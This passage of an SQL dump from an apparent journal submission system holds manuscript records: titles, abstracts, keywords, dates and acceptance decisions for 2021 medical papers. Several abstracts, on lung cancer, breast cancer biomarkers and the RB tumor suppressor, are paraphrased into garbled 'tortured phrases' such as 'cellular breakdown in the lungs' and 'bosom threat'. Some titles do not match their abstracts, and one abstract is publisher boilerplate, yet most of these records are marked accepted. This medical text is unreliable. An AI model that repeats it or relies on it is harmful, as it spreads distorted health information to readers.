secondary-metabolites.',3322,NULL,'2021-05-17',NULL,'Submitted',4,NULL,'2021-11-30',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(8529,9654,45,0,NULL,'Marijuana in the Workplace: A Survival Guide',NULL,15,0,'','California’s regulations regarding marijuana use have significantly changed in recent years and it is evident that it will continue to change as we move ahead.  With the evolution of legislation surrounding the use of marijuana, California employers must be knowledgeable about the drug and understand its implications on the work environment.  The legalization of marijuana in California has compelled employers to pilot through a reasonable balance between an individual’s right to use marijuana and an employers’ right to maintain a safe and drug-free workplace.   This article presents a brief history of California regulations related to marijuana use and provides a comprehensive guide to employers by analyzing the effects of marijuana and discussing the issues associated with the legalization of substance use in California and its relations to workplaces.  As these regulations evolve, employers must ensure that appropriate policies and processes are in place to address situations that arise from pre-employment testing and workplace conduct related to marijuana use.','marijuana, employment',388,NULL,'2021-05-18',NULL,'Submitted',4,NULL,'2021-05-19',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8531,9656,959,0,'ipacr-21-8531','Clinical Challenges to Current Molecularly Targeted Therapies in Cellular breakdown in the lungs',NULL,15,0,'','Cellular breakdown in the lungs is hard to treat with a helpless guess and a long term endurance of 15%. Current atomically focused on treatments are at first viable in non-little cell cellular breakdown in the lungs (NSCLC) patients; be that as it may, they are tormented with troubles including instigated obstruction and little remedially responsive populaces. This scaled down audit portrays the instrument of protection from a few atomically focused on treatments which are at present being utilized to treat NSCLC. The significant targets talked about are c-Met, EGFR, HER2, ALK, VEGFR, and BRAF. The original tyrosine kinase inhibitors (TKIs) brought about obstruction; nonetheless, second and third era TKIs are being created, which are for the most part more useful and can possibly treat NSCLC patients with protection from original TKIs. Blend treatments could likewise be compelling in forestalling TKI opposition in NSCLC patients.','NSCLC, Molecularly targeted therapies, TKI, Resistance',4739,NULL,'2021-05-18',NULL,'Submitted',2,NULL,'2021-06-01',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8532,9657,959,0,'ipacr-21-8532','Novel Strategy for Colorectal Liver Cancer- Hepatocyte Growth Factor Estimation Concept',NULL,17,0,'','Colorectal disease is the third most regular epithelial threat around the world. Sooner or later in the characteristic course of patients with this illness, up to half will foster metastasis to the liver, i.e., colorectal liver metastasis (CLM), which addresses quite possibly the most well-known dangers to life. An assortment of remedial ways to deal with treat this hazardous sickness have been endeavored that have now brought about the acknowledgment of a forceful technique in any event, for cutting edge cases. Be that as it may, the careful signs for resection of coordinated metastases and the ideal planning of hepatectomy are as yet dubious and generally discussed. In the current survey, chemotherapeutic procedures including as of late created systems or potentially hepatectomy are proposed put together with respect to the clinical information as well as on natural ideas in which chemotherapy causes hepatocyte development factor (HGF)- related epithelial mesenchymal progress (EMT)','Colorectal cancer, Epithelial malignancy; Hepatectomy',4739,NULL,'2021-05-18',NULL,'Submitted',2,NULL,'2021-06-01',NULL,1,1,'1','Article is accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(8534,9658,959,0,'ipacr-21-8534','Loss-Of-Function Mutation in the RB Tumor Suppressor',NULL,17,0,'','RB tumor silencer quality item (pRB) has been proposed to connect with in excess of 200 cell proteins. Notwithstanding the phosphorylation, done by cyclin-subordinate kinases (CDKs), pRB goes through different sorts of post-translational alterations. The post-translational alterations of pRB influence the limiting status with various effector particles including the E2F family record factors, proteins with LxCxE themes, and proteasome-related proteins. This fluctuation of effector particles empowers pRB to apply pleiotropic capacities. These capacities likewise vary strikingly relying upon the cell ancestry and cell setting. Consequently, numerous new surveys have alluded to pRB as a connector protein dependent on its capacities, notwithstanding as a pocket protein dependent on its construction. E2F relatives have been basically involved in pRB capacities to drive cell cycle-related occasions, yet comprises minority of effector particles as far as number. Moreover, E2Fs additionally focus on various qualities those are not straightforwardly associated with the cell cycle control. Hence, we guess that pRB plays out various cell cycle-free capacities in both E2F-subordinate and - autonomous habits. This survey, in spite of the fact that without rigorously segregating between E2F-subordinate and - free capacities, expects to depict the authoritative and non-accepted elements of pRB.','RB, Tumor suppressor, E2Fs, Cell cycle, Differentiation, Metabolism',3216,NULL,'2021-05-18',NULL,'Submitted',2,NULL,'2021-07-09',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(8541,9666,86,0,'ipaom-21-8541','Asthma prevalence and risk factors among medical students in Taiba University in Almadinah Almonawara KSA',NULL,14,0,'','Background:\r\nThere is inadequate data concerning the prevalence and risk factors of asthma among adults, more studies are needed, to support health authorities in asthma management.\r\nMethods:	\r\nThis is a cross-sectional study done at Taiba University in Almadinah Almonawarah, Saudi Arabia, in March- April 2014 using a modified translated (ISAAC) questionnaire for adults and respiratory function test. The data was analyzed using Microsoft Excel version 2010\r\nResults:\r\nOut of 200 samples124 were included, the rate of response was 62%,  All students who are known cases of asthma and those who had lung function test suspecting asthma were included in the prevalence of asthma which was found to be 12.8%. The prevalence of allergic rhinitis was 21.77%, more among females and associated with asthma.\r\n','asthma\r\nrhinitis\r\nprevalence',3411,NULL,'2021-05-18',NULL,'Submitted',2,NULL,'2021-06-01',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(8545,9669,73,0,'ipjnn-21-8545','AMELIORATIVE EFFECT OF ETHANOLIC LEAF EXTRACT OF DICHROSTACHYS GLOMERATA ON POST SEIZURE VISUO-SPARTIAL AND COGNITIVE MEMORY AND LEARNING FUNCTION IN PENTELENETETRAZOL KINDLED MICE. ',NULL,14,2,'',' In addition to the recurrent seizures, epilepsy is also associated with post-seizure impairment in cognitive and visuo-spartial memory function. Pentylenetetrazole (PTZ) kindling is a well established animal model in simulation of clinical epilepsy. This present study was designed to comparatively assess the effects of diazepam (DZP) and ethanol leaf-extract of Dichrostachys glomerata (DG) on learning and memory in pentylenetetrazol induced epileptic mice. Twenty eight male Swiss white mice were randomly grouped into four (n=7). Group 1 served as control and was given 0.9% normal saline (IP). Group 2 served as untreated epileptic control group and was administered(IP) 60mg/kg of pentylenetetrazol (PTZ)  while the other two groups (3 and 4) served as epileptic mice groups treated with DZP (1mg/kg) and DG (4.5mg/kg) respectively prior to induction of epilepsy. The anti-epileptic effects of both agents on cognitive and visuo-spatial memory status on the animals were assessed using the Novel object recognition task (NORT) and the Morris water maze (MWM) respectively. The results obtained during the anti-epileptic study showed that seizure activities was completely abolished in the DZP treated epileptic mice group and significantly lower in the DG treated epileptic mice group compared to the PTZ group. In the NORT, the index of habituation was significantly higher in the PTZ group compared to control but however significantly lower in the DZP and DG treated epileptic mice groups compared to the PTZ during the short-term memory test. Also the index of discrimination was consistently lower in the PTZ group compared to control but significantly higher in the DZP and DG treated groups compared to PTZ group in both short-term and long-term memory test. This indicated that cognitive memory impaired in the epileptic mice groups was improved following treatment with both DZP and DG. In the MWM, there was no significant difference in the swim latencies amongst the animal groups during the acquisition and reversal training. On the probe trial day, there was no significant difference in the mean south west quadrant duration in the PTZ group compared to control, however this was significantly higher in the DZP and DG treated epileptic mice groups compared to the PTZ group. There was also a significant decrease in annulus reversal crosses in the PTZ group compared to control but a significant increase in the DZP and DG treated epileptic mice groups compared to the PTZ group. Also the swim latencies on the visible platform day increased significantly in the PTZ group compared to control but significantly decreased in the DZP and PTZ treated epileptic mice groups compared to the PTZ group. Therefore, the results suggests that both diazepam and ethanol leaf-extract of Dichrostachys glomerata improved cognitive and visuo-spatial memory and learning that was impaired following pentylenetetrazol induced epilepsy in mice. However, diazepam was more potent and more efficient than the plant leaf- extract.\r\n\r\n','',336,NULL,'2021-05-18',NULL,'Submitted',19,NULL,'2021-06-22',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(8553,9677,251,0,'ipacm-21-8553','Techniques and Procedures Involved to Study Anatomy',NULL,3,0,'','Microbial pyrogen\" rather than \"gram negative bacterial endotoxin\" has become an overall enlightening term for a wide range of substances. Nonetheless, pyrogenic substances can be created by some gram positive microbes, mycobacteria, organisms and furthermore infections, yet the pyrogens delivered by gram negative microorganisms, i.e., the endotoxins, are of importance to the drug business','',3944,NULL,'2021-05-19',NULL,'Submitted',2,NULL,'2021-06-04',NULL,1,1,'0','   ',0,NULL,NULL,NULL,0,0,0,NULL,0),(8571,9689,959,0,'ipacr-21-8571','Basic and Clinical Research for Bosom Cancer using Biomarkers',NULL,15,0,'','Aggravation accepts a basic part in various kinds of development and is known excluded from their presentation and progression. Thusly, it is surprisingly fast seen as a basic threat component of a couple of kinds of illnesses, for instance, \"bladders, prostate and bosom\" developments. The exposure of a novel system for acknowledgment bosom threat disease in the examination office moreover in moderating blends can have colossal consequences for the treatment of development just as preventive and guarded treatment modalities. Bosom development is the most consistently broke down threat and the subsequent driving justification tumor-related passing\'s. Upgraded appreciation of bosom tumourigenesis may improve the progression of all the more impressive medicines. The clinical and over the top nature of this bosom development subtype isn\'t yet completely got on. This examination was given a movement of fundamental, preclinical and clinical investigations. As a confident biomarker of response to bosom threat, we acknowledged this discernment reaction of tumor cells in bosom sickness.','Biomarker, Breast disease, Clinical lab, Early discovery, BRCA 1 and 2',3142,NULL,'2021-05-20',NULL,'Submitted',2,NULL,'2021-08-19',NULL,1,1,'1','Accepted for publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(8572,9690,959,0,'ipacr-21-8572','Brief Report on Diagnostic mesenchymal tumors',NULL,17,0,'','Uterine leiomyomas are the most widely recognized tumors to influence ladies. The introduction of these tumors can fluctuate. Run of the mill uterine leiomyomas are handily perceived on imaging. Notwithstanding, an abnormal show or even abnormal appearances on imaging can create demonstrative turmoil. We report an instance of uterine leiomyoma introducing itself as a gastrointestinal tumor (GIST) on imaging. She went through a laparotomy and was found to have an uterine leiomyoma requiring resection. She was along these lines released well.','Uterine Leiomyomas; Misdiagnosis; Peritonism',3216,NULL,'2021-05-20',NULL,'Submitted',2,NULL,'2021-07-09',NULL,1,1,'1','Accepted to publish',0,NULL,NULL,NULL,0,0,0,NULL,0),(8579,6667,45,0,'iphsj-21-8579','Investigating the effect of appropriate personal protective equipment on the stress level of care workers in the covid19 epidemic',NULL,14,0,'','IMPORTANCE  Coronavirus disease (COVID-19) is an infectious disease which caused by a newly discovered coronavirus.\r\nOBJECTIVE The aim of this study was to investigate the effect of access to personal protective equipment on the level of stress of care workers in epidemic conditions.\r\nDESIGN, SETTINGS, AND PARTICIPANTS This study is hospital - based and Which has been done in two stages. The first phase was performed in February 2020, when the disease had just spread and there were insufficient personal protective equipment, and the second phase was performed in February 2021, when it was more than 1 year since the outbreak. The disease was over and personal protective equipment of sufficient quality was provided to the hospital staff. Census method was used to determine the number of participants in the study. In this study, the researchers conducted their research on all people. They gave the questionnaire to all front-line care worker second-line care worker of Jam Hospital, which was 537 people. In the first stage, 472 questionnaires were filled out. In the second stage, 342 questionnaires were filled out.\r\nMAIN OUTCOMES AND MEASURES We focused on symptoms of job stress in Jam Hospital staff. The same questionnaire was used in both stages. Data collection tool is a questionnaire (ENSS) Scale is a revised version of the NSS Nursing Stress Scale developed by Gary Taft and Anderson (1981). NSS is the first tool designed to measure nursing stress instead of overall job stress. Thirty-four items of the NSS questionnaire measure the frequency and main sources of stress in the patient care situation.\r\nRESULTS \r\nIn the first stage of the research, the level of satisfaction with the quality and availability of personal protective equipment Was 2.9%, stress level was high in 69.6% of employees (stress level was high in 65.3% of front line employees and 74% of second line employees).In the second phase of the study, when the level of employee satisfaction with personal protective equipment reached 97.3%, the level of stress was high in 44.1% of employees (the level of stress was high in 57.2% of front line employees and 31.1% of second line employees). That is, it decreased by 25.5%. In both stages of the research, the amount of stress has a significant relationship with the place of work (first stage p valu=0.013 , second stage p valu= 0.01) and there is no significant relationship between the amount of stress, gender, shift work and education','covid19 epidemic, stress level of care workers',643,NULL,'2021-05-20',NULL,'Submitted',4,NULL,'2021-07-22',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8581,6667,45,0,'iphsj-21-8581','Evaluation of burnout and job stress in care worker and comparison between front-line and second-line in care worker during coronavirus epidemic',NULL,14,0,'','IMPORTANCE  Coronavirus disease (COVID-19) is an infectious disease which caused by a newly discovered coronavirus.\r\n\r\nOBJECTIVE In this study we aimed to evaluation of burnout and job stress in care worker and comparison between front-line and second-line in care worker during coronavirus epidemic.\r\n\r\nDESIGN, SETTINGS, AND PARTICIPANTS This study is a cross-sectional, hospital-based survey conducted via a region-stratified, 2-stage cluster sampling from Sep 15, 2020, to Dec 10, 2020, The purpose of this research is applied research and in terms of survey method. The main tool used to collect information in this study is a questionnaire, which was also used to study the evidence to obtain human resource information.\r\nCensus method was used to determine the number of participants in the study. In this study, the researchers conducted their research on all people. They gave the questionnaire to all front-line care worker (nurse, assistant nurse, secretary) second-line care worker(Services, security, chefs and hostesses, facilities) of Jam Hospital, which was 537 people, and 342 questionnaires were filled in by the staff.\r\nMAIN OUTCOMES AND MEASURESWe focused on symptoms of Job burnout and job stress in Jam Hospital staff.In this method, demographic data such as job, place of work, gender, age, level of education and work shifts were asked and two questionnaires were used. 1-COPSOQ Persian Questionnaire2- Stress assess.\r\nRESULTS In the study, 537 health care workers were asked to participate, 342 respondents (63.6%) completed the survey (242[70.7%](, front-line and )100 [29.3%]( socend-line. The occupational data of nonrespondents were similar to those of respondents (Table 1 in the Supplement). Most participants were women (207[60.2%]), were aged 20 to 40 years (260 [76%]), had an educational level postgraduate (199 [58.1,were work night (193 [56.2%]), Of the 342 responding participants, 242 (70.7%) were front-line health care workers directly engaged in diagnosing, treating, or caring for patients with or suspected to have COVID-19 , and 100(29.3%) were socend-line. A considerable proportion of front-line participants had symptoms of occupational stress(P=0.03) & Job burnout)P=0.08). Job stress and burnout were higher in front-line staff who were in direct contact with patients with COVID 19 than in staff who were not in direct contact with the patient(P=0.02).\r\nThere was no significant relationship between gender (P=0.5), education(P=0.3), job shift (P=0.06) and job stress and burnout.','job stress, care worker, coronavirus epidemic',643,NULL,'2021-05-20',NULL,'Submitted',4,NULL,'2021-07-22',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8582,6667,45,0,'iphsj-21-8582','The effect of  Pesticides on child gender and the level of Sexual activities in people exposed –IRAN',NULL,14,0,'','IMPORTANCE Today, chlorine and phosphorus pesticides are widely used in the agricultural industry . Farmers and workers who produce these pesticides in factories are strongly exposed to these pesticides.\r\n\r\nOBJECTIVE our aim was to investigate the effects of phosphorus and chlorine toxins on birth rate, type of child sex and sexual desire of workers in the face of these toxins and compare it with workers in other factories who are not exposed to phosphorus and chlorine pesticides.\r\n\r\nDESIGN, SETTINGS, AND  Methods  the research tool was the questionnaire. The questionnaire distributed between workers of two different factories was distributed in the first factory of workers 8 - 10 hours a day in the face of chlorine and phosphorus pesticides. In the second factory workers were not exposed to pesticides. questionnaire was prepared with the cooperation of a physiologist consultant. Its validity and reliability were obtained with the help of experts. This questionnaire had two parts. In the first part, questions related to demographic and social characteris Data analysis was performed using SPSS statistical software version 26.0 (IBM Corp). The significance level was set at ? = .05, and all tests were 2-tailed. The original scores of the 4 measurement tools were not normally distributed and so are presented as medians with interquartile ranges (IQRs). The nonparametric Mann-Whitney U test and Kruskal-Wallis test were applied to compare the severity of each symptom between 2 or more groups.  tics and in the second part, questions related to sexual activity and sexual desire were asked . \r\n\r\n\r\nRESULTS The results show that there is no significant difference between the sons and daughters of two factories (p value=0.08). The comparison of sexual activities in two factories indicates that there is a significant difference in the amount of sexual activities between the two factories. Employees of the control factory had sexual activity twice a week and employees of the phosphorous pesticides factory more than 4 times a week (p value=0.001). Sexual activity in employees who were exposed to chlorine pesticides did not show a significant difference with the control factory (p value= 0.06).','Pesticides, child gender, Sexual activities',643,NULL,'2021-05-20',NULL,'Submitted',4,NULL,'2021-07-22',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8583,6667,45,0,'iphsj-21-8583','Investigating the pesticides impact on mental health of exposed workers – Iran',NULL,14,0,'','IMPORTANCE  Concern about occupational health and safety and the potentially  widespread effects of environmental contaminants   has provided the impetus for research concerning the behavioral effects of organophosphate (OP) compounds.\r\nOBJECTIVE In this study we evaluated the impact of pesticides on physical symptoms, Anxiety and Sleep Disorders, Social  Performance and Depression in exposed workers.\r\nDESIGN, SETTINGS, AND PARTICIPANTS This study was performed on workers in a pesticide factory. The tools of this research are a questionnaire. The questionnaire was distributed among 70 employees of the pesticide manufacturer. General Health Questionnaire (GHQ-28) was used in this study.This questionnaire, developed by Goldberg, is one of the most well-known screening tools for mental disorders. Data analysis was performed using SPSS statistical software version 26.0 (IBM Corp). The significance level was set at ? = .05, and all tests were 2-tailed.\r\nMAIN OUTCOMES AND MEASURES The results show that there is no significant difference between educational level and physical symptoms (P-value=0.9), anxiety and sleep disorders (P-value= 0.2), Social  Performance (P-value= 0.6)  and depression (P-value=0.6). Statistical analyses show that there is a significant difference between age and depression(P-value=0.09).\r\nRESULTS The study shows with \"excessive\" dreaming, nightmares, and somnambulism. Similar to other behavioral findings, occupational use of OP pesticides, in the absence of overt signs of toxicity does not result in sleep disturbance according to interview data. Integration of clinical and laboratory studies indicates that OP poisoning frequently precipitates a depressive syndrome and may reverse hypomanic symptoms.\r\nThe present study confirms other studies. Due to the effects of pesticides on physical symptoms, anxiety and sleep, social functioning and depression using advanced protectors in factory devices to prevent pesticide leakage, change the production process and the basis of the chemical formula of pesticides on public health. Protective measures such as the distribution and mandatory use of filtered masks and the use of personal monitoring devices, informing and educating staff about the effects of the pest on people who are exposed to it, reduce its effects on the face.','pesticides, mental health',643,NULL,'2021-05-20',NULL,'Submitted',4,NULL,'2021-07-22',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(8584,9698,91,0,'ijddr-21-8584','FORMULATION, DEVELOPMENT AND EVALUATION OF SUSTAINED RELEASE MATRIX TABLET OF ANTIHYPERTENSIVE DRUGS',NULL,14,0,'','The current study was focus on to the formulation of sustain release tablet of DILTIAZEM. Diltiazem is calcium channel blocker was used for the treatment and management of high blood pressure, chronic stable angina. Diltiazem  having the short half life i.e. 3.0 to 4.5 hours and it is also have low bioavailability so that need to develops the controlled release tablet. The aim of this study was  to provide sustained action, reduce the frequency of dose administration and increase bioavailability, reduce the dose dumping and increase patient compliance. Dry granulation method was used to the preparation of the matrix sustain release tablet. By using different polymers the drug release extended up to the 24 hours. The drug- excipient compatibility study was done  by using the FTIR studies. The evaluation of tablets were done by using various parameters like bulk density, tapped density, Angle of repose, Hauner’s ratio, Carr’s index, thickness, weight variation, friability, Disintegration and dissolution studies. The formulation F9 gives better result it release drug up to 24 hours.','Matrix tablets, sustain release, Dry granulation, Diltiazem, bulk density, tapped density, weight variation, friability, compatibility study, FTIR studies.',1325,NULL,'2021-05-20',NULL,'Submitted',2,NULL,'2021-06-28',NULL,1,1,'1','accept',0,'','',NULL,0,0,0,NULL,0),(8588,6489,86,0,'ipaom-21-8588','CARDIOVASCULAR SYSTEM AND SARS-COV-2 – ETIOLOGY, PHYSIOPATHOLOGY AND CLINICAL PRESENTATION: A SYSTEMATIC REVIEW',NULL,15,0,'','Background: During SARS-CoV-1 and Middle East Respiratory Distress Syndrome (MERS) outbreaks, a particularly elevated incidence of cardiovascular disease among patients was observed. With COVID-19, this correlation becomes evident again. However, the cardiovascular impacts by COVID-19 pandemic are not yet well established although there are constant publications about its potential deleterious effects. Thus, we aimed to carry a systematic review of the literature with meta-analysis based on the following guiding question: what practical contributions to the scientific literature produced in the period of 2019-2020 does the impact of the COVID-19 on cardiovascular system have to offer?\r\nMethods: A systematic review of the literature using the Virtual Health Library (VHL) and PubMed with the following descriptors: #1 \"cardiovascular disease\" [MeSH] AND #2 \"COVID-19\" [keyword], as well as their equivalents in the Portuguese and Spanish language, during the period from December 2019 to March 2020 was performed.\r\nResults: one hundred articles are found in Pubmed and twenty-seven are selected. In VHL there were 59 articles and four are selected totaling thirty-one papers. The findings were then divided into three subcategories: Etiology, Physiopathology and Risk factors of SARS-CoV-2 in Cardiovascular System; Clinical presentation, laboratory markers and imagenological aspects of SARS-CoV-2 in cardiovascular system; and Anti-Hypertensive Drugs, Cardiovascular System and SARS-CoV-2.\r\nConclusions: It comes to the cardiovascular system, these issues are aggravated and urge as a joint commitment from researchers, medical and governmental organizations for carry out more robust studies with bold methodologies aimed at mapping prognostic factors and assertive therapeutic approaches in the management of cardiovascular complications of COVID- 19.','Cardiovascular Disease; Coronavirus Infections; Clinical Medicine; Systematic Review.',2890,NULL,'2021-05-20',NULL,'Submitted',2,NULL,'2021-06-14',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8589,6489,86,0,'ipaom-21-8589','VICTIMS OF INEQUALITIES: HEALTH SITUATION OF BLACK AND POOR WOMEN CONFRONTING COVID-19',NULL,17,0,'','INTRODUCTION: A woman dies every seven hours in Brazil victim of feminicide. Maternal mortality of black women due to COVID-19, the new coronavirus, is almost twice as high as that of white women..\r\nMETHODS: Studies were identified using large-circulation international journals found in two electronic databases: Scopus and Embase.\r\nRESULTS: This idea of the black and poor woman as disposable or unnecessary, has an enormous race influency. In this context, the burden that the pandemic can cause to the country\'s health system may further expose the structural racism that goes through health care.\r\nCONCLUSION: Maternal mortality of black women due to COVID-19, the new coronavirus, is almost twice as high as that of white women. Thus, the concentration of efforts to approach COVID-19 in medical-centered care measures decontextualized, not only in relation to people\'s way of living and getting sick, but also, with other knowledge, also corroborate the high incidence and lethality rates of COVID-19.','Reproductive Health; Black Women; COVID-19; Victims of Inequalities',2890,NULL,'2021-05-20',NULL,'Submitted',2,NULL,'2021-10-19',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8591,6489,86,0,'ipaom-21-8591','SEXUAL ABUSE: SOCIAL INEQUALITY AND POVERTY',NULL,15,0,'','INTRODUCTION: Sexual violence is a very big social and health issue, it sets up also as a gender and race problem, as it affects mainly girls and black girls; in addition, the crime is committed more than 90% of times by males. Sexual abuse is a harmful, humiliating, and traumatic experience to the physical and mental health of men and women with immediate and late consequences. \r\nMETHODS: A systematic literature search was performed according to guidelines in the PRISMA statement. Searches were conducted in PubMed. Keywords included combinations of the words \"sex offenses\" and children and Brazil. \r\nRESULTS: The search strategy yielded 121 hits in PubMed, after applying exclusion and inclusion criteria, and after manual selection were retrieved 15 publications. DISCUSSION: Machismo is still a very big social problem. It affects all social spheres of most of the Latin-American countries. Due to this matter, we can explain the underreporting of CSA in boys. The low notification of sexual violence against men is partly due to the toxic masculinity. \r\nCONCLUSION: More studies are needed, so health professionals, teachers and especially families can recognize early signs of CSA, besides that, public policies need to be implemented urgently in order to reduce these egregious cases.','Childhood;  Violence; Psychological Repercussions; Children victims of Sexual Abuse',2890,NULL,'2021-05-20',NULL,'Submitted',2,NULL,'2021-06-09',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8592,6489,86,0,'ipaom-21-8592','BEYOND THE LUNGS: SARS-COV-2 PATHWAYS TO THE NERVOUS SYSTEM AND ITS CONSEQUENCES.',NULL,9,0,'','Understanding the SARS-CoV-2 pathophysiology regarding neural system contamination and damage is necessary for clinical and therapeutic approaches, which may reduce the damage caused by the disease. In this regard, it is important to highlight that, besides the direct effect on neurons, the inflammatory state caused by a dysregulation of the immune system due to infection are both factors responsible for neurological phenomena of the disease. The presence of the virus in the bloodstream, its ability to directly penetrate the NS through peripheral nerves and the weakening of the blood-brain barrier are added to the tropism of SARS-CoV-2 by ACE-2 receptors, which favors the appearance of brain manifestations, associated with metabolic complications in the autoimmune processes induced by viral clinical condition.  It is essential to remember that the cerebrovascular events have been increasingly reported in infected patients and are associated with the hypercoagulability caused by the disease. The activation of the coagulation cascade and deregulation of physiological anticoagulant mechanisms, such as protein C system and the disintegration of fibrin, are possible causes of this hypercoagulable state present in COVID-19. Even though it is still not evident whether the impairment of the nervous system is a result of direct infection by SARS-CoV-2 or of a diffuse inflammatory process affecting various organs and systems generating multiple manifestation, including those of the nervous system, we highlight that the quantity of drugs administered in intensive care units also can interfere with neurological conditions.','SARS-COV-2; Nervous System; Neurological Conditions; COVID-19.',3868,NULL,'2021-05-20',NULL,'Submitted',2,NULL,'2021-06-16',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8593,6489,86,0,'ipaom-21-8593','THE RESEARCH AND  IMPLICATIONS OF ORGANOID TECHNOLOGY',NULL,15,0,'','Background: The induction of the formation of organoids derived from induced pluripotent stem cells (iPSC) is a new technology that is being well studied and aims to improve the clinical condition of patients with various diseases and even patients undergoing certain types of procedures. \r\nMethods: Systematic review, using the PRISMA protocol. The study period was from 2010 to 2020 and the keywords included “Organoids”, “iPSC”, “Ethic” and “Evidence-Based Medicine”, one at a timeand then combined with the Boolean operator “AND”. \r\nResults: 44 registrations were found. Of this total, 15 articles were excluded because they have not approached organoids and stem cells objectively, often attending to other phenomena or details that are not of interest to the review. \r\nLimitations: Discoveries about organoids and new methods to promote their generation and growth are constantly being tested and developed around the world, this implies a constant renewal of sources of information. The article was based on current and highly respected sources in the scientific community. \r\nConclusions: Organoids are unquestionably a technology capable of changing many concepts and guidelines in the medical environment. Faced with this enormous capacity, it is necessary that studies are constantly made and that the use of this new technology is widely discussed, since it addresses not only the scientific sphere, but also the ethical sphere, the social sphere. Improving this already existing technology so that it will increasingly mimic the human body is the challenge that exists and needs to be addressed by many professionals in different areas in harmony.','Organoids; iPSC (Induced Pluripotent Stem Cells); Ethic; Diseases.',2890,NULL,'2021-05-20',NULL,'Submitted',2,NULL,'2021-06-17',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8594,6489,86,0,'ipaom-21-8594','SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW',NULL,15,0,'','Introduction: in Brazil of the 21st century, afro-brazilian people (black and pardo) still occupy different social spaces, which reflects directly in social indicators like schooling, work and health conditions below the standard. However, literature on the theme is still incipient and demands better and more theoretical foundation. Methodology: Systematic review according to the PRISMA protocol (http://www.prisma-statement.org/), in the BVS and PubMed, during the period from July 2007 to July 28 of 2017. Results: the nineteen selected studies allowed the creation of two large thematic groups: Epidemiological aspects of pathologies in the afro-brazilian people and Health epidemiological aspects of the afro-brazilian women. Final Considerations: Some common chronic pathologies are more common in afro-brazilian people compared with the other ethnical groups, such as Metabolic Syndrome (Hypertension, DM 2, Obesity) and Chronic Renal Insufficiency; infectocontagious pathologies like HIV/AIDS, tooth decay and Chagas disease; and mental disorders. In addition, smoking during pregnancy and anemia seem to be more prevalent in black women.','Ethnicity and Health, Health of Ethnic Minorities, Public health, Equity, Public Health, Health of the Afro-brazilian population.',2890,NULL,'2021-05-21',NULL,'Submitted',2,NULL,'2021-10-20',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8595,6489,86,0,'ipaom-21-8595','THE MEMORY OF AN OUTRAGEOUS PUBLIC HEALTH SCANDAL',NULL,9,0,'','INTRODUCTION: Manaus is an isolated city, localized in the hearth of the Amazonas rainforest, with two million inhabitants, a big territorial extension, distant from neighbor cities and next to the shores of Negro and Solimões rivers. The access overland is difficult, which obligates the oxygen tanks be transported by river or air.  This created and enormous logistical problem, added to the neglect of the Federal Government with the northern region of the country.\r\nOBJECTIVE: Analyze what are the psychiatric repercussions on the explosion of in the lack of oxygen in Manaus, capital of the Amazonas, Brazil. \r\nMETHODS: Studies were identified using large-circulation international journals.\r\nRESULTS: A scandal is happening. This situation is creating a grief community – particular grief became a common and public one – to the memory of an outrageous public health scandal. Therefore, dramatic stories of families of patients and the overwhelmed healthcare professionals shared on the social media and local press brings glimpses of the angst of this chaos. An entire wing of patients died caused by the oxygen depletion.\r\nCONCLUSION: This situation is causing a collective hysteria, taking healthcare workers and families of patients to desperation. Fear appears to be a consequence of the feeling of powerlessness. Anxiety levels are really elevated causing direct side effects to another mental health measures.','Psychiatric Repercussions; Mental Health; Oxygen;Public Health; Anxiety',2890,NULL,'2021-05-21',NULL,'Submitted',4,NULL,'2021-07-07',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8596,9401,91,0,'ijddr-21-8596','Adverse Drug Events: Untoward Medical Occurrence',NULL,5,0,'','An Adverse Drug reaction (ADE) is a physical issue coming about because of clinical mediation identified with a drug. This incorporates medicine blunders, antagonistic medication responses, hypersensitive responses, and excesses. ADEs can happen anyplace: in clinics, long haul care settings, and outpatient settings.','Drug reaction, medicine blunders, hypersensitive responses',3391,NULL,'2021-05-21',NULL,'Submitted',2,NULL,'2021-06-06',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8598,9401,91,0,'ijddr-21-8598','Drug Interactions',NULL,5,0,'','Drug Interactions include blends of a medicine with different substances that modify the drug\'s impact on the body. This can make the medicine be less or more powerful than proposed or bring about surprising results. In the event that you utilize various prescriptions, have certain ailments, or see more than one specialist, you ought to be particularly aware of your drugs. You additionally need to ensure that every one of your primary care physicians know the entirety of the medications, spices, enhancements, and nutrients you\'re utilizing.','Drug Interactions, Drug-food , Drug-Disease',3391,NULL,'2021-05-21',NULL,'Submitted',2,NULL,'2021-06-11',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(8625,9715,639,0,'ipfs-21-8625','Subjective of fisheries',NULL,5,0,'','Review processing is performed by the editorial board members of the Journal or outside experts; at least one independent reviewer’s approval followed by editor approval is required for acceptance of any citable manuscript. Authors can track their progress through the system. Reviewers can download manuscripts and submit their opinions to the editor. Editors can manage the whole submission/review/revise/publish process.','fish ,prawn',1770,NULL,'2021-05-22',NULL,'Submitted',2,NULL,'2021-06-11',NULL,1,1,'1','accepted the 